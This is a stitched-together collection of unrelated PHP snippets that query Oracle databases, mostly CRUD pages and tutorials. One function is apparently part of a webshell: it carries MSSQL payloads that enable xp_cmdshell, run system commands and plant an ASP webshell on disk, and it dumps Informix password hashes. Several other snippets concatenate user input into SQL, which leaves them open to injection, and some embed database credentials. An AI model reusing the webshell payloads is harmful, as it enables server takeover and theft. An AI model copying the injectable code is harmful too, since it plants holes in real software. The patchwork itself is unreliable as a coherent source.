public function get_ams_student($student_id = NULL) { $conn = oci_connect('AMS_QUERIES', 'Oo_Hecha1_rohm3', '//192.168.170.171:1522/ACADEMIC'); if (!$conn) { $e = oci_error(); trigger_error(htmlentities($e['message'], ENT_QUOTES), E_USER_ERROR); } else { if ($student_id == NULL) { $sql = "SELECT * FROM GAOWNER.VIEW_STUDENT_DETAILS"; } else { $sql = 'SELECT * FROM GAOWNER.VIEW_STUDENT_DETAILS WHERE STUDENT_NO LIKE \'%' . $student_id . '%\''; } $rs4 = oci_parse($conn, $sql); oci_execute($rs4); $rows = oci_num_rows($rs4); $t = 0; while (OCIFetch($rs4)) { $t++; $name1 = ociresult($rs4, "SURNAME"); $dob = ociresult($rs4, "DOB"); $gender = ociresult($rs4, "GENDER"); $oname1 = ociresult($rs4, "OTHER_NAMES"); $STUDENT_NO = ociresult($rs4, "STUDENT_NO"); $COURSES = ociresult($rs4, "COURSES"); $GUARDIAN_NAME1 = ociresult($rs4, "GUARDIAN_NAME"); $MOBILE_NO = ociresult($rs4, "MOBILE_NO"); $EMAIL = ociresult($rs4, "EMAIL"); $FACULTIES = ociresult($rs4, "FACULTIES"); // details to be saved $name = str_replace("'", "", "{$name1}"); $oname = str_replace("'", "", "{$oname1}"); $GUARDIAN_NAME = str_replace("'", "", "{$GUARDIAN_NAME1}"); if (!empty($STUDENT_NO)) { $exists = $this->student_exists($STUDENT_NO); $data = array('title' => '', 'Surname' => $name, 'Other_names' => $oname, 'DOB' => $dob, 'contact' => $MOBILE_NO, 'gender' => $gender, 'student_Number' => $STUDENT_NO, 'courses' => $FACULTIES, 'GUARDIAN_NAME' => $GUARDIAN_NAME, 'faculty' => $FACULTIES); if (!$exists) { $this->db->insert('student', $data); } else { $this->db->where('student_Number', $STUDENT_NO); $this->db->update('student', $data); } $date = date("Y-m-d H:i:s"); // data for patients patient date, visit type, strath number created by and modified by fields if ($student_id != NULL) { $patient_data = array('patient_number' => $this->create_patient_number(), 'patient_date' => $date, 'visit_type_id' => 1, 'strath_no' => $STUDENT_NO, 'created_by' => $this->session->userdata('personnel_id'), 'modified_by' => $this->session->userdata('personnel_id')); $this->db->insert('patients', $patient_data); return $this->db->insert_id(); } } else { $this->session->set_userdata("error_message", "Student could not be found"); return FALSE; } } if ($student_id != NULL) { return TRUE; } } }
<h1>PHP und Oracle</h1> <table border="1"> <tr> <th>Interpret</th> <th>Titel</th> <th>Jahr</th> </tr> <?php $db = "(DESCRIPTION=(ADDRESS_LIST=(ADDRESS=(PROTOCOL=TCP)\r\n (HOST=localhost) (PORT=1521)))\r\n (CONNECT_DATA=(SERVICE_NAME=xe)))"; // Oracle 10g //$db="//localhost/xe"; $c = ocilogon("hr", "geheim", $db); $s = ociparse($c, "SELECT * FROM cds"); if (ociexecute($s)) { while (ocifetch($s)) { echo "<tr>"; echo "<td>" . ociresult($s, "INTERPRET") . "</td>"; echo "<td>" . ociresult($s, "TITEL") . "</td>"; echo "<td>" . ociresult($s, "JAHR") . "</td>"; echo "</tr>"; } } else { $e = oci_error($s); echo htmlentities($e['message']); } ?> </table> </body> </html>
</td> <td> <input type="text" name="txtcargo" class="txt" value='<?php echo ociresult($stmt, "NM_CARGO"); ?> '/> </td> <td> <input type="text" name="txtusuario" class="txt" value='<?php echo ociresult($stmt, "NM_USUARIO"); ?> '/> </td> <td> <input type="password" name="txtsenha" class="txt" value='<?php echo ociresult($stmt, "NM_SENHA"); ?> '/> </td> </tr> <tr> <td colspan="8"> <input type="submit" value="Atualizar" name="btsalvar" class="bt" title="Clique para salvar."/> </td> </tr> </table> </form> </div> <?php oci_free_statement($stmt); }
</td> <td colspan="2"> <label class="lb">Configurações:</label> </td> </tr> <?php //Seleciona todos os funcionários cadastrados $stmt = oci_parse($conexao, "SELECT * FROM Cargo"); oci_execute($stmt, OCI_DEFAULT); while (Ocifetch($stmt)) { $id = ociresult($stmt, "CD_CARGO"); ?> <tr> <td> <input type="text" name="txtcargo" class="txt" readonly="readonly" value='<?php echo ociresult($stmt, "NM_CARGO"); ?> '/> </td> <td> <?php echo "<a href='ConCargo.php?Atualizar&I={$id}' class='bt'>Atualizar</a>"; ?> </td> <td> <?php echo "<a href='ConCargo.php?Excluir&I={$id}' class='bt'>Excluir</a>"; ?> </td> </tr> <?php
</td> <td> <input type="text" name="txtdestinatario" readonly="readonly" class="txt" value='<?php echo ociresult($stmt, "NM_DESTINATARIO"); ?> '/> </td> <td> <input type="text" name="txtmalote" readonly="readonly" class="txt2" value='<?php echo ociresult($stmt, "CD_MALOTE"); ?> '/> </td> <td> <input type="text" name="txtprotocolo" readonly="readonly" class="txt1" value='<?php echo ociresult($stmt, "CD_PROTOCOLO"); ?> '/> </td> <td> <?php echo "<a href='ConCorrespondencia.php?Atualizar&I={$id}' class='bt'>Atualizar</a>"; ?> </td> <td> <?php echo "<a href='ConCorrespondencia.php?Excluir&I={$id}' class='bt'>Excluir</a>"; ?> </td> </tr> <?php
</td> <td> <input type="text" name="txtdestino" class="txt" readonly="readonly" value='<?php echo ociresult($stmt, "NM_DESTINO"); ?> '/> </td> <td> <input type="text" name="txtdata" class="txt" readonly="readonly" value='<?php echo ociresult($stmt, "DT_MALOTE"); ?> '/> </td> <td> <input type="text" name="txttipo" class="txt" readonly="readonly" value='<?php echo ociresult($stmt, "NM_TIPO"); ?> '/> </td> <td> <?php echo "<a href='ConMalote.php?Atualizar&I={$id}' class='bt'>Atualizar</a>"; ?> </td> <td> <?php echo "<a href='ConMalote.php?Excluir&I={$id}' class='bt'>Excluir</a>"; ?> </td> </tr> <?php
function otherdb() { $db = isset($_GET['db']) ? $_GET['db'] : 'ms'; print <<<END <form method="POST" name="dbform" id="dbform" action="?s=gg&db={$db}" enctype="multipart/form-data"> <div class="actall"> <a href="?s=gg&db=ms">   MSSQL  </a> <a href="?s=gg&db=ora">   Oracle  </a> <a href="?s=gg&db=ifx">   InforMix  </a> <a href="?s=gg&db=fb">   FireBird  </a> <a href="?s=gg&db=db2">  DB2  </a></div></form> END; if ($db == "ms") { $mshost = isset($_POST['mshost']) ? $_POST['mshost'] : 'localhost'; $msuser = isset($_POST['msuser']) ? $_POST['msuser'] : '******'; $mspass = isset($_POST['mspass']) ? $_POST['mspass'] : ''; $msdbname = isset($_POST['msdbname']) ? $_POST['msdbname'] : 'master'; $msaction = isset($_POST['action']) ? $_POST['action'] : ''; $msquery = isset($_POST['mssql']) ? $_POST['mssql'] : ''; $msquery = stripslashes($msquery); print <<<END <div class="actall"> <form method="POST" name="msform" action="?s=gg&db=ms"> Host:<input type="text" name="mshost" value="{$mshost}" style="width:100px"> User:<input type="text" name="msuser" value="{$msuser}" style="width:100px"> Pass:<input type="text" name="mspass" value="{$mspass}" style="width:100px"> Dbname:<input type="text" name="msdbname" value="{$msdbname}" style="width:100px"><br> <script language="javascript"> function msFull(i){ \tStr = new Array(11); \tStr[0] = ""; \tStr[1] = "select @@version;"; \tStr[2] = "select name from sysdatabases;"; \tStr[3] = "select name from sysobject where type='U';"; \tStr[4] = "select name from syscolumns where id=Object_Id('table_name');"; \tStr[5] = "Use master dbcc addextendedproc ('sp_OACreate','odsole70.dll');"; \tStr[6] = "Use master dbcc addextendedproc ('xp_cmdshell','xplog70.dll');"; \tStr[7] = "EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;"; \tStr[8] = "exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ole Automation Procedures',1;RECONFIGURE;"; \tStr[9] = "exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ad Hoc Distributed Queries',1;RECONFIGURE;"; \tStr[10] = "Exec master.dbo.xp_cmdshell 'net user';"; \tStr[11] = "Declare @s int;exec sp_oacreate 'wscript.shell',@s out;Exec SP_OAMethod @s,'run',NULL,'cmd.exe /c echo ^<%execute(request(char(35)))%^> > c:\\\\1.asp';"; \tStr[12] = "sp_makewebtask @outputfile='d:\\\\web\\\\bin.asp',@charset=gb2312,@query='select ''<%execute(request(chr(35)))%>''' "; \tmsform.mssql.value = Str[i]; \treturn true; } </script> <textarea name="mssql" style="width:600px;height:200px;">{$msquery}</textarea><br> <select onchange="return msFull(options[selectedIndex].value)"> \t<option value="0" selected>ִ������</option> \t<option value="1">��ʾ�汾</option> \t<option value="2">���ݿ�</option> \t<option value="3">����</option> \t<option value="4">�ֶ�</option> \t<option value="5">sp_oacreate</option> \t<option value="6">xp_cmdshell</option> \t<option value="7">xp_cmdshell(2005)</option> \t<option value="8">sp_oacreate(2005)</option> \t<option value="9">����openrowset(2005)</option> \t<option value="10">xp_cmdshell exec</option> \t<option value="10">sp_oamethod exec</option> \t<option value="11">sp_makewebtask</option> </select> <input type="hidden" name="action" value="msquery"> <input class="bt" type="submit" value="Query"></form></div> END; if ($msaction == 'msquery') { $msconn = mssql_connect($mshost, $msuser, $mspass); mssql_select_db($msdbname, $msconn) or die("connect error :" . mssql_get_last_message()); $msresult = mssql_query($msquery) or die(mssql_get_last_message()); echo '<font face="verdana"><table border="1" cellpadding="1" cellspacing="2">' . "\n<tr>\n"; for ($i = 0; $i < mssql_num_fields($msresult); $i++) { echo '<td><b>' . mssql_field_name($msresult, $i) . "</b></td>\n"; } echo "</tr>\n"; mssql_data_seek($result, 0); while ($msrow = mssql_fetch_row($msresult)) { echo "<tr>\n"; for ($i = 0; $i < mssql_num_fields($msresult); $i++) { echo '<td>' . "{$msrow[$i]}" . '</td>'; } echo "</tr>\n"; } echo "</table></font>"; mssql_free_result($msresult); mssql_close(); } } elseif ($db == "ora") { $orahost = isset($_POST['orahost']) ? $_POST['orahost'] : 'localhost'; $oraport = isset($_POST['oraport']) ? $_POST['oraport'] : '1521'; $orauser = isset($_POST['orauser']) ? $_POST['orauser'] : '******'; $orapass = isset($_POST['orapass']) ? $_POST['orapass'] : '******'; $orasid = isset($_POST['orasid']) ? $_POST['orasid'] : 'ORCL'; $oraaction = isset($_POST['action']) ? $_POST['action'] : ''; $oraquery = isset($_POST['orasql']) ? $_POST['orasql'] : ''; $oraquery = stripslashes($oraquery); print <<<END <form method="POST" name="oraform" action="?s=gg&db=ora"> <div class="actall"> Host:<input type="text" name="orahost" value="{$orahost}" style="width:100px"> Port:<input type="text" name="oraport" value="{$oraport}" style="width:50px"> User:<input type="text" name="orauser" value="{$orauser}" style="width:80px"> Pass:<input type="text" name="orapass" value="{$orapass}" style="width:100px"> SID:<input type="text" name="orasid" value="{$orasid}" style="width:50px"><br> <script language="javascript"> function oraFull(i){ Str = new Array(5); \tStr[0] = ""; \tStr[1] = "select version();"; \tStr[2] = "SELECT NAME FROM V{$DATABASE}"; \tStr[3] = "select * From all_objects where object_type='TABLE'"; \tStr[4] = "select column_name from user_tab_columns where table_name='table1'"; \toraform.orasql.value = Str[i]; \treturn true; } </script> <textarea name="orasql" style="width:600px;height:200px;">{$oraquery}</textarea><br> <select onchange="return oraFull(options[selectedIndex].value)"> \t<option value="0" selected>ִ������</option> \t<option value="1">��ʾ�汾</option> \t<option value="2">���ݿ�</option> \t<option value="3">����</option> \t<option value="4">�ֶ�</option> </select> <input type="hidden" name="action" value="myquery"> <input class="bt" type="submit" value="Query"></div></form> END; if ($oraaction == 'oraquery') { $oralink = OCILogon($orauser, $orapass, "(DEscriptION=(ADDRESS=(PROTOCOL =TCP)(HOST={$orahost})(PORT = {$oraport}))(CONNECT_DATA =(SID={$orasid})))") or die(ocierror()); $oraresult = ociparse($oralink, $oraquery) or die(ocierror()); $orarow = oci_fetch_row($oraresult); echo '<font face="verdana"><table border="1" cellpadding="1" cellspacing="2">' . "\n<tr>\n"; for ($i = 0; $i < oci_num_fields($oraresult); $i++) { echo '<td><b>' . oci_field_name($oraresult, $i) . "</b></td>\n"; } echo "</tr>\n"; ociresult($oraresult, 0); while ($orarow = ora_fetch_row($oraresult)) { echo "<tr>\n"; for ($i = 0; $i < ora_num_fields($result); $i++) { echo '<td>' . "{$orarow[$i]}" . '</td>'; } echo "</tr>\n"; } echo "</table></font>"; oci_free_statement($oraresult); ocilogoff(); } } elseif ($db == "ifx") { $ifxuser = isset($_POST['ifxuser']) ? $_POST['ifxuser'] : '******'; $ifxpass = isset($_POST['ifxpass']) ? $_POST['ifxpass'] : '******'; $ifxdbname = isset($_POST['ifxdbname']) ? $_POST['ifxdbname'] : 'ifxdb'; $ifxaction = isset($_POST['action']) ? $_POST['action'] : ''; $ifxquery = isset($_POST['ifxsql']) ? $_POST['ifxsql'] : ''; $ifxquery = stripslashes($ifxquery); print <<<END <form method="POST" name="ifxform" action="?s=gg&db=ifx"> <div class="actall">Dbname:<input type="text" name="ifxhost" value="{$ifxdbname}" style="width:100px"> User:<input type="text" name="ifxuser" value="{$ifxuser}" style="width:100px"> Pass:<input type="text" name="ifxpass" value="{$ifxpass}" style="width:100px"><br> <script language="javascript"> function ifxFull(i){ Str = new Array(11); \tStr[0] = ""; \tStr[1] = "select dbservername from sysobjects;"; \tStr[2] = "select name from sysdatabases;"; \tStr[3] = "select tabname from systables;"; \tStr[4] = "select colname from syscolumns where tabid=n;"; \tStr[5] = "select username,usertype,password from sysusers;"; \tifxform.ifxsql.value = Str[i]; \treturn true; } </script> <textarea name="ifxsql" style="width:600px;height:200px;">{$ifxquery}</textarea><br> <select onchange="return ifxFull(options[selectedIndex].value)"> \t<option value="0" selected>ִ������</option> \t<option value="1">���ݿ�����������</option> \t<option value="1">���ݿ�</option> \t<option value="2">����</option> \t<option value="3">�ֶ�</option> \t<option value="4">hashes</option> </select> <input type="hidden" name="action" value="ifxquery"> <input class="bt" type="submit" value="Query"></div></form> END; if ($ifxaction == 'ifxquery') { $ifxlink = ifx_connect($ifcdbname, $ifxuser, $ifxpass) or die(ifx_errormsg()); $ifxresult = ifx_query($ifxquery, $ifxlink) or die(ifx_errormsg()); $ifxrow = ifx_fetch_row($ifxresult); echo '<font face="verdana"><table border="1" cellpadding="1" cellspacing="2">' . "\n<tr>\n"; for ($i = 0; $i < ifx_num_fields($ifxresult); $i++) { echo '<td><b>' . ifx_fieldproperties($ifxresult) . "</b></td>\n"; } echo "</tr>\n"; mysql_data_seek($ifxresult, 0); while ($ifxrow = ifx_fetch_row($ifxresult)) { echo "<tr>\n"; for ($i = 0; $i < ifx_num_fields($ifxresult); $i++) { echo '<td>' . "{$ifxrow[$i]}" . '</td>'; } echo "</tr>\n"; } echo "</table></font>"; ifx_free_result($ifxresult); ifx_close(); } } elseif ($db == "db2") { $db2host = isset($_POST['db2host']) ? $_POST['db2host'] : 'localhost'; $db2port = isset($_POST['db2port']) ? $_POST['db2port'] : '50000'; $db2user = isset($_POST['db2user']) ? $_POST['db2user'] : '******'; $db2pass = isset($_POST['db2pass']) ? $_POST['db2pass'] : '******'; $db2dbname = isset($_POST['db2dbname']) ? $_POST['db2dbname'] : 'mysql'; $db2action = isset($_POST['action']) ? $_POST['action'] : ''; $db2query = isset($_POST['db2sql']) ? $_POST['db2sql'] : ''; $db2query = stripslashes($db2query); print <<<END <form method="POST" name="db2form" action="?s=gg&db=db2"> <div class="actall">Host:<input type="text" name="db2host" value="{$db2host}" style="width:100px"> Port:<input type="text" name="db2port" value="{$db2port}" style="width:60px"> User:<input type="text" name="db2user" value="{$db2user}" style="width:100px"> Pass:<input type="text" name="db2pass" value="{$db2pass}" style="width:100px"> Dbname:<input type="text" name="db2dbname" value="{$db2dbname}" style="width:100px"><br> <script language="javascript"> function db2Full(i){ Str = new Array(4); \tStr[0] = ""; \tStr[1] = "select schemaname from syscat.schemata;"; \tStr[2] = "select name from sysibm.systables;"; \tStr[3] = "select colname from syscat.columns where tabname='table_name';"; \tStr[4] = "db2 get db cfg for db_name;"; db2form.db2sql.value = Str[i]; return true; } </script> <textarea name="db2sql" style="width:600px;height:200px;">{$db2query}</textarea><br> <select onchange="return db2Full(options[selectedIndex].value)"> \t<option value="0" selected>ִ������</option> \t<option value="1">���ݿ�</option> \t<option value="1">����</option> \t<option value="2">�ֶ�</option> \t<option value="3">���ݿ�����</option> </select> <input type="hidden" name="action" value="db2query"> <input class="bt" type="submit" value="Query"></div></form> END; if ($myaction == 'db2query') { $db2link = db2_connect($db2dbname, $db2user, $db2pass) or die(db2_conn_errormsg()); $db2result = db2_exec($db2link, $db2query) or die(db2_stmt_errormsg()); $db2row = db2_fetch_row($db2result); echo '<font face="verdana"><table border="1" cellpadding="1" cellspacing="2">' . "\n<tr>\n"; for ($i = 0; $i < db2_num_fields($db2result); $i++) { echo '<td><b>' . db2_field_name($db2result) . "</b></td>\n"; } echo "</tr>\n"; while ($db2row = db2_fetch_row($db2result)) { echo "<tr>\n"; for ($i = 0; $i < db2_num_fields($db2result); $i++) { echo '<td>' . "{$db2row[$i]}" . '</td>'; } echo "</tr>\n"; } echo "</table></font>"; db2_free_result($db2result); db2_close(); } } elseif ($db == "fb") { $fbhost = isset($_POST['fbhost']) ? $_POST['fbhost'] : 'localhost'; $fbpath = isset($_POST['fbpath']) ? $_POST['fbpath'] : ''; $fbpath = str_replace("\\\\", "\\", $fbpath); $fbuser = isset($_POST['fbuser']) ? $_POST['fbuser'] : '******'; $fbpass = isset($_POST['fbpass']) ? $_POST['fbpass'] : '******'; $fbaction = isset($_POST['action']) ? $_POST['action'] : ''; $fbquery = isset($_POST['fbsql']) ? $_POST['fbsql'] : ''; $fbquery = stripslashes($fbquery); print <<<END <form method="POST" name="fbform" action="?s=gg&db=fb"> <div class="actall">Host:<input type="text" name="fbhost" value="{$fbhost}" style="width:100px"> Path:<input type="text" name="fbpath" value="{$fbpath}" style="width:100px"> User:<input type="text" name="fbuser" value="{$fbuser}" style="width:100px"> Pass:<input type="text" name="fbpass" value="{$fbpass}" style="width:100px"><br/> <script language="javascript"> function fbFull(i){ Str = new Array(5); \tStr[0] = ""; \tStr[1] = "select RDB\$RELATION_NAME from RDB\$RELATIONS;"; \tStr[2] = "select RDB\$FIELD_NAME from RDB\$RELATION_FIELDS where RDB\$RELATION_NAME='table_name';"; \tStr[3] = "input 'D:\\createtable.sql';"; \tStr[4] = "shell netstat -an;"; fbform.fbsql.value = Str[i]; return true; } </script> <textarea name="fbsql" style="width:600px;height:200px;">{$fbquery}</textarea><br> <select onchange="return fbFull(options[selectedIndex].value)"> \t<option value="0" selected>ִ������</option> \t<option value="1">����</option> \t<option value="2">�ֶ�</option> \t<option value="3">����sql</option> \t<option value="4">shell</option> </select> <input type="hidden" name="action" value="fbquery"> <input class="bt" type="submit" value="Query"></div></form> END; if ($fbaction == 'fbquery') { $fblink = ibase_connect($fbhost . ':' . $fbpath, $fbuser, $fbpass) or die(ibase_errmsg()); $fbresult = ibase_query($fblink, $fbquery) or die(ibase_errmsg()); echo '<font face="verdana"><table border="1" cellpadding="1" cellspacing="2">' . "\n<tr>\n"; for ($i = 0; $i < ibase_num_fields($fbresult); $i++) { echo '<td><b>' . ibase_field_info($fbresult, $i) . "</b></td>\n"; } echo "</tr>\n"; ibase_field_info($fbresult, 0); while ($fbrow = ibase_fetch_row($fbresult)) { echo "<tr>\n"; for ($i = 0; $i < ibase_num_fields($fbresult); $i++) { echo '<td>' . "{$fbrow[$i]}" . '</td>'; } echo "</tr>\n"; } echo "</table></font>"; ibase_free_result($fbresult); ibase_close(); } } }
</td> <td> <input type="text" name="txtcidade" class="txt" readonly="readonly" value='<?php echo ociresult($stmt, "NM_CIDADE"); ?> '/> </td> <td> <input type="text" name="txtestado" class="txt2" readonly="readonly" value='<?php echo ociresult($stmt, "SG_ESTADO"); ?> '/> </td> <td> <input type="text" name="txttelefone" class="txt" readonly="readonly" value='<?php echo ociresult($stmt, "CD_TELEFONE"); ?> '/> </td> <td> <?php echo "<a href='ConUnidade.php?Atualizar&I={$id}' class='bt'>Atualizar</a>"; ?> </td> <td> <?php echo "<a href='ConUnidade.php?Excluir&I={$id}' class='bt'>Excluir</a>"; ?> </td> </tr> <?php
/** * Get information about student's programms and subjects. * * @param $sident * * @return array */ public function getStudyInfo($sident) { $query = "SELECT zpovinn, pnazev, panazev, zvysl, zbody, to_char(zdatum,'DD.MM.YYYY')\n\t\t\t\t\tAS datum, zskr\n\t\t\t\t\tFROM zkous JOIN ( SELECT povinn,pnazev,panazev,vplatiod,vplatido\n\t\t\t\t\tFROM povinn UNION SELECT povinn,pnazev,panazev,vplatiod,vplatido\n\t\t\t\t\tFROM povinn2 ) ON (zpovinn=povinn AND vplatiod<=zskr AND vplatido>=zskr )\n\t\t\t\t\tWHERE zsplsem='S' AND zident = {$sident} ORDER BY zskr, zdt"; $data = $this->execute($query); $grades = []; while (ocifetch($data)) { $grades[] = ['code' => ociresult($data, "ZPOVINN"), 'name' => ociresult($data, "PNAZEV"), 'name_en' => ociresult($data, "PANAZEV"), 'grade' => ociresult($data, "ZVYSL"), 'credits' => ociresult($data, "ZBODY"), 'date' => ociresult($data, "DATUM"), 'year' => ociresult($data, "ZSKR")]; } return $grades; }
oci_bind_by_name($sql, ':protocolo', $cprotocolo); oci_bind_by_name($sql, ':usuario', $cusuario); oci_execute($sql); oci_free_statement($sql); echo "<script>alert('Dados cadastrado com sucesso.'); window.location='ConCorrespondencia.php'</script>"; } if ($_POST['Inserir'] == "MALOTE") { $malote = $_POST['txtnumero']; $origem = $_POST['txtorigem']; $destino = $_POST['txtdestino']; $data = $_POST['txtdata']; $servico = $_POST['txtservico']; $sql_ = oci_parse($conexao, "SELECT cd_servico FROM Servico WHERE nm_tipo = '" . $servico . "'"); oci_execute($sql_, OCI_DEFAULT); while (Ocifetch($sql_)) { $cservico = ociresult($sql_, "CD_SERVICO"); } oci_free_statement($sql_); $sql = oci_parse($conexao, 'INSERT INTO Malote (cd_malote, nm_origem, nm_destino, dt_malote, cd_servico) VALUES (:malote, :origem, :destino, :data, :servico)'); oci_bind_by_name($sql, ':malote', $malote); oci_bind_by_name($sql, ':origem', $origem); oci_bind_by_name($sql, ':destino', $destino); oci_bind_by_name($sql, ':data', $data); oci_bind_by_name($sql, ':servico', $cservico); oci_execute($sql); oci_free_statement($sql); echo "<script>alert('Dados cadastrado com sucesso.'); window.location='ConMalote.php'</script>"; } if ($_POST['Inserir'] == "PROTOCOLO") { $sql = oci_parse($conexao, 'INSERT INTO Protocolo (cd_protocolo, dt_recebimento) VALUES (:protocolo, :data)'); $cprotocolo = $_POST['txtnumero'];
function form_checkfield($name, $title, $sql) { $stm = ociexec($sql); echo "<tr><td align=right>{$title} :</td><td>"; while (ocifetch($stm)) { echo "<input type=checkbox name={$name} value=\"" . ociresult($stm, 'CVALUE') . "\">" . ociresult($stm, 'CNAME') . "<br>"; } echo "</td></tr>"; }
</div> <?php $username = $_POST['username']; $password = $_POST['pwd']; $connection = ocilogon("tanis2", "oracle", "oracle.uis.edu"); $sqlquery = "SELECT count(*) FROM CREDENTIALS WHERE username='******' AND password='******'"; $sql_id = ociparse($connection, $sqlquery); if (!$sql_id) { $e = oci_error($connection); echo "The following error occured:"; print htmlentities($e['message']); exit; } ociexecute($sql_id, OCI_DEFAULT); while (ocifetch($sql_id)) { $result = ociresult($sql_id, 1); if ($result == 1) { echo "<h3>You have logged in successfully<h3/>"; echo "<a href='http://uisacad.uis.edu/~kmulpu2/criteriaForReport.html'>Click here to generate reports</a>"; } else { echo '<font color="' . red . '">Invalid login credentials. Please enter correct username and password</font>'; echo "<br/><br/>"; echo "<a href='http://uisacad.uis.edu/~kmulpu2/DillardsReporting.html'>Back To Login Page</a>"; } } ocicommit($connection); OCIFreeStatement($sql_id); ocilogoff($connection); ?> </body> </html>
/** * Get the rows returned from a SELECT query. * * @param resource The query result pointer * @param ?integer Whether to start reading from (NULL: irrelevant for this forum driver) * @return array A list of row maps */ function db_get_query_rows($stmt, $start = NULL) { $out = array(); $i = 0; $num_fields = ocinumcols($stmt); $types = array(); $names = array(); for ($x = 1; $x <= $num_fields; $x++) { $types[$x] = ocicolumntype($stmt, $x); $names[$x] = strtolower(ocicolumnname($stmt, $x)); } while (ocifetch($stmt)) { if (is_null($start) || $i >= $start) { $newrow = array(); for ($j = 1; $j <= $num_fields; $j++) { $v = ociresult($stmt, $j); if (is_object($v)) { $v = $v->load(); } // For CLOB's if ($v === false) { fatal_exit(do_lang_tempcode('QUERY_FAILED', ocierror($stmt))); } $name = $names[$j]; $type = $types[$j]; if ($type == 'NUMBER') { if (!is_null($v)) { $newrow[$name] = intval($v); } else { $newrow[$name] = NULL; } } else { if ($v == ' ') { $v = ''; } $newrow[$name] = $v; } } $out[] = $newrow; } $i++; } return $out; }
</td> <td> <input type="text" name="txtusuario" class="txt" readonly="readonly" value='<?php echo ociresult($stmt, "NM_USUARIO"); ?> '/> </td> <td> <input type="password" name="txtsenha" class="txt" readonly="readonly" value='<?php echo ociresult($stmt, "NM_SENHA"); ?> '/> </td> <td> <input type="text" name="txtacesso" class="txt" readonly="readonly" value='<?php echo ociresult($stmt, "NM_ACESSO"); ?> '/> </td> <td> <?php echo "<a href='ConUsuario.php?Atualizar&I={$id}' class='bt'>Atualizar</a>"; ?> </td> <td> <?php echo "<a href='ConUsuario.php?Excluir&I={$id}' class='bt'>Excluir</a>"; ?> </td> </tr> <?php
echo "Couldn't make a connection!"; exit; } else { echo "You have connected to the UIS Oracle Database!! <p>"; } $sqlquery = "SELECT CustomerID FROM CUSTOMER WHERE LastName='" . $_SESSION["newCustomerLastName"] . "' AND FirstName='" . $_SESSION["newCustomerFirstName"] . "' AND Email='" . $_SESSION["newCustomerEmail"] . "'"; $sql_id = ociparse($connection, $sqlquery); if (!$sql_id) { $e = oci_error($connection); print htmlentities($e['message']); exit; } ociexecute($sql_id, OCI_DEFAULT); echo "Customer ID ="; while (oci_fetch($sql_id)) { echo ociresult($sql_id, 1); } $sqlquery1 = "SELECT * FROM TRANS WHERE CustomerID IN(SELECT CustomerID FROM CUSTOMER WHERE LastName='" . $_SESSION["newCustomerLastName"] . "' AND FirstName='" . $_SESSION["newCustomerFirstName"] . "' AND Email='" . $_SESSION["newCustomerEmail"] . "')"; $sql_id1 = ociparse($connection, $sqlquery1); if (!$sql_id1) { $e = oci_error($connection); print htmlentities($e['message']); exit; } ociexecute($sql_id1, OCI_DEFAULT); echo "<h3>Transaction Details of the Customer</h3>"; echo "<table>"; echo "<tr><td>" . TransactionID . "</td><td></td><td>" . DateAcquired . "</td><td></td><td>" . AcquisitionPrice . "</td><td></td><td>" . DateSold . "</td><td></td><td>" . AskingPrice . "</td><td></td><td>" . SalesPrice . "</td><td></td><td>" . CustomerID . "</td><td></td><td>" . WorkID . "</td></tr>"; while ($row = OCI_Fetch_Array($sql_id1, OCI_NUM)) { echo "<tr><td>" . $row[0] . "</td><td></td><td>" . $row[1] . "</td><td></td><td>" . $row[2] . "</td><td></td><td>" . $row[3] . "</td><td></td><td>" . $row[4] . "</td><td></td><td>" . $row[5] . "</td><td></td><td>" . $row[6] . "</td><td></td><td>" . $row[7] . "</td></tr>"; }
</td> <td colspan="2"> <label class="lb">Configurações:</label> </td> </tr> <?php //Seleciona todos os funcionários cadastrados $stmt = oci_parse($conexao, "SELECT * FROM Departamento"); oci_execute($stmt, OCI_DEFAULT); while (Ocifetch($stmt)) { $id = ociresult($stmt, "CD_DEPARTAMENTO"); ?> <tr> <td> <input type="text" name="txtdepartamento" class="txt" readonly="readonly" value='<?php echo ociresult($stmt, "NM_DEPARTAMENTO"); ?> '/> </td> <td> <?php echo "<a href='ConDepartamento.php?Atualizar&I={$id}' class='bt'>Atualizar</a>"; ?> </td> <td> <?php echo "<a href='ConDepartamento.php?Excluir&I={$id}' class='bt'>Excluir</a>"; ?> </td> </tr> <?php
function nextid($seqname) { $this->connect(); $Query_ID = @ociparse($this->Link_ID, "SELECT {$seqname}.NEXTVAL FROM DUAL"); if (!@ociexecute($Query_ID)) { $this->Error = @OCIError($Query_ID); if ($this->Error["code"] == 2289) { $Query_ID = ociparse($this->Link_ID, "CREATE SEQUENCE {$seqname}"); if (!ociexecute($Query_ID)) { $this->Error = OCIError($Query_ID); $this->Errors->addError("Database error: " . $this->Error["message"]); return 0; } else { $Query_ID = ociparse($this->Link_ID, "SELECT {$seqname}.NEXTVAL FROM DUAL"); ociexecute($Query_ID); } } } if (ocifetch($Query_ID)) { $next_id = ociresult($Query_ID, "NEXTVAL"); } else { $next_id = 0; } ocifreestatement($Query_ID); return $next_id; }
function currentid($seqname) { $this->connect(); $Query_ID = @ociparse($this->Link_ID, "SELECT {$seqname}.CURRVAL FROM DUAL"); @ociexecute($Query_ID); if (@ocifetch($Query_ID)) { $current_id = ociresult($Query_ID, "CURRVAL"); } else { $current_id = 0; } ocifreestatement($Query_ID); return $current_id; }
<html> <body> <?php $connect = oci_connect("lp10", "d3whrc2", "iutdb"); //Connexion à la base $stmt = ociparse($connect, "select * from PLANTE"); //On parse la requête à effectuer sans oublier de lui passer la chaine de connexion en paramêtre ociexecute($stmt, OCI_DEFAULT); //On execute la requête en lui passant l'option OCI_DEFAULT echo "Début----<br>\n\n"; while (ocifetch($stmt)) { //On parcourt les résultats echo ociresult($stmt, 1); //On récupère le premier champ de la ma_table echo ociresult($stmt, 2); //On récupère le deuxième champ de la ma_table } echo "<br>----fin\n\n"; ocilogoff($connect); //On se déconnecte du serveur ?> </body> </html>
